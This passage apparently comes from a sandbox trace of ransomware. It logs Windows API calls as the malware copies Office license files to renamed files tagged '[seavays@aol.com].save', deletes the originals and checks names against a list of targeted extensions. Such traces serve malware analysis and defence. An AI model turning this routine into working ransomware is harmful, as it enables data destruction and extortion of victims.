Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0186.969] GetLastError () returned 0x0 [0186.970] ReadFile (in: hFile=0x550, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4dfe, lpOverlapped=0x0) returned 1 [0186.972] WriteFile (in: hFile=0x56c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0186.974] ReadFile (in: hFile=0x550, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.975] WriteFile (in: hFile=0x56c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11e, lpOverlapped=0x0) returned 1 [0186.975] SetEndOfFile (hFile=0x56c) returned 1 [0186.975] CloseHandle (hObject=0x56c) returned 1 [0186.975] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.975] SetEndOfFile (hFile=0x550) returned 1 [0186.981] CloseHandle (hObject=0x550) returned 1 [0186.981] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0186.984] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ul-phn.xrm-ms")) returned 1 [0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.985] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.985] lstrlenW (lpString=".doc") returned 4 [0186.985] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0186.985] lstrlenW (lpString=".docx") returned 5 [0186.985] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0186.985] lstrlenW (lpString=".pdf") returned 4 [0186.985] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0186.985] lstrlenW (lpString=".xls") returned 4 [0186.985] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0186.985] lstrlenW (lpString=".xlsx") returned 5 [0186.986] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0186.986] lstrlenW (lpString=".ppt") returned 4 [0186.986] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.986] lstrlenW (lpString=".zip") returned 4 [0186.986] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString=".rar") returned 4 [0186.986] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString=".bz2") returned 4 [0186.986] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString=".7z") returned 3 [0186.986] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.986] lstrlenW (lpString=".dbf") returned 4 [0186.986] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.986] lstrlenW (lpString=".1cd") returned 4 [0186.986] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0186.986] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ul-phn.xrm-ms") returned 87 [0186.986] lstrlenW (lpString=".jpg") returned 4 [0186.987] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0186.987] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22091) returned 1 [0186.987] CloseHandle (hObject=0x550) returned 1 [0186.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 0x220 [0186.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0186.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0186.989] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.989] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.990] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0186.991] GetLastError () returned 0x0 [0186.991] ReadFile (in: hFile=0x550, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x564b, lpOverlapped=0x0) returned 1 [0186.995] WriteFile (in: hFile=0x56c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5650, lpOverlapped=0x0) returned 1 [0186.997] ReadFile (in: hFile=0x550, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0186.997] WriteFile (in: hFile=0x56c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x112, lpOverlapped=0x0) returned 1 [0186.997] SetEndOfFile (hFile=0x56c) returned 1 [0186.997] CloseHandle (hObject=0x56c) returned 1 [0186.998] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0186.998] SetEndOfFile (hFile=0x550) returned 1 [0187.007] CloseHandle (hObject=0x550) returned 1 [0187.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0187.757] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ppd.xrm-ms")) returned 1 [0188.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.599] lstrlenW (lpString=".doc") returned 4 [0188.599] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.599] lstrlenW (lpString=".docx") returned 5 [0188.599] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.599] lstrlenW (lpString=".pdf") returned 4 [0188.599] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.599] lstrlenW (lpString=".xls") returned 4 [0188.599] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.599] lstrlenW (lpString=".xlsx") returned 5 [0188.599] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.599] lstrlenW (lpString=".ppt") returned 4 [0188.599] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.600] lstrlenW (lpString=".zip") returned 4 [0188.600] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.600] lstrlenW (lpString=".rar") returned 4 [0188.600] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.600] lstrlenW (lpString=".bz2") returned 4 [0188.600] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.600] lstrlenW (lpString=".7z") returned 3 [0188.600] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.600] lstrlenW (lpString=".dbf") returned 4 [0188.600] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.600] lstrlenW (lpString=".1cd") returned 4 [0188.600] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ppd.xrm-ms") returned 81 [0188.600] lstrlenW (lpString=".jpg") returned 4 [0188.600] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.994] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=22092) returned 1 [0188.994] CloseHandle (hObject=0x55c) returned 1 [0188.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0189.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0189.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0189.957] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0189.957] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0189.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.131] GetLastError () returned 0x0 [0190.131] ReadFile (in: hFile=0x560, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x564c, lpOverlapped=0x0) returned 1 [0190.137] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x5650, lpOverlapped=0x0) returned 1 [0190.139] ReadFile (in: hFile=0x560, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.139] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x114, lpOverlapped=0x0) returned 1 [0190.139] SetEndOfFile (hFile=0x55c) returned 1 [0190.140] CloseHandle (hObject=0x55c) returned 1 [0190.140] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.140] SetEndOfFile (hFile=0x560) returned 1 [0190.147] CloseHandle (hObject=0x560) returned 1 [0190.147] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.169] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1 [0190.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.171] lstrlenW (lpString=".doc") returned 4 [0190.171] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString=".docx") returned 5 [0190.171] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.171] lstrlenW (lpString=".pdf") returned 4 [0190.171] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString=".xls") returned 4 [0190.171] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString=".xlsx") returned 5 [0190.171] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.171] lstrlenW (lpString=".ppt") returned 4 [0190.171] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.171] lstrlenW (lpString=".zip") returned 4 [0190.171] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString=".rar") returned 4 [0190.171] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.171] lstrlenW (lpString=".bz2") returned 4 [0190.172] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.172] lstrlenW (lpString=".7z") returned 3 [0190.172] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.172] lstrlenW (lpString=".dbf") returned 4 [0190.172] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.172] lstrlenW (lpString=".1cd") returned 4 [0190.172] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82 [0190.172] lstrlenW (lpString=".jpg") returned 4 [0190.172] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.173] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=19958) returned 1 [0190.173] CloseHandle (hObject=0x560) returned 1 [0190.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 0x220 [0190.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0190.175] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.175] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.177] GetLastError () returned 0x0 [0190.177] ReadFile (in: hFile=0x560, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x4df6, lpOverlapped=0x0) returned 1 [0190.180] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x4e00, lpOverlapped=0x0) returned 1 [0190.348] ReadFile (in: hFile=0x560, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.348] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x11a, lpOverlapped=0x0) returned 1 [0190.348] SetEndOfFile (hFile=0x55c) returned 1 [0190.348] CloseHandle (hObject=0x55c) returned 1 [0190.485] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.485] SetEndOfFile (hFile=0x560) returned 1 [0190.592] CloseHandle (hObject=0x560) returned 1 [0190.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.794] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail3-ul-phn.xrm-ms")) returned 1 [0190.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.796] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.796] lstrlenW (lpString=".doc") returned 4 [0190.796] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.796] lstrlenW (lpString=".docx") returned 5 [0190.796] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.796] lstrlenW (lpString=".pdf") returned 4 [0190.796] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.796] lstrlenW (lpString=".xls") returned 4 [0190.797] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.797] lstrlenW (lpString=".xlsx") returned 5 [0190.797] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.797] lstrlenW (lpString=".ppt") returned 4 [0190.797] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.797] lstrlenW (lpString=".zip") returned 4 [0190.797] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.797] lstrlenW (lpString=".rar") returned 4 [0190.798] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.798] lstrlenW (lpString=".bz2") returned 4 [0190.798] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.798] lstrlenW (lpString=".7z") returned 3 [0190.798] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.798] lstrlenW (lpString=".dbf") returned 4 [0190.798] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.798] lstrlenW (lpString=".1cd") returned 4 [0190.798] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail3-ul-phn.xrm-ms") returned 85 [0190.803] lstrlenW (lpString=".jpg") returned 4 [0190.803] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.805] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=11669) returned 1 [0190.805] CloseHandle (hObject=0x374) returned 1 [0190.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0190.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0190.807] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.807] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0190.809] GetLastError () returned 0x0 [0190.809] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x2d95, lpOverlapped=0x0) returned 1 [0190.812] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x2da0, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x2da0, lpOverlapped=0x0) returned 1 [0190.813] ReadFile (in: hFile=0x374, lpBuffer=0x41db020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0190.813] WriteFile (in: hFile=0x55c, lpBuffer=0x41db020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x41db020*, lpNumberOfBytesWritten=0x3cffc94*=0x12e, lpOverlapped=0x0) returned 1 [0190.813] SetEndOfFile (hFile=0x55c) returned 1 [0190.814] CloseHandle (hObject=0x55c) returned 1 [0190.814] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0190.814] SetEndOfFile (hFile=0x374) returned 1 [0190.819] CloseHandle (hObject=0x374) returned 1 [0190.819] SetFileAttributesW 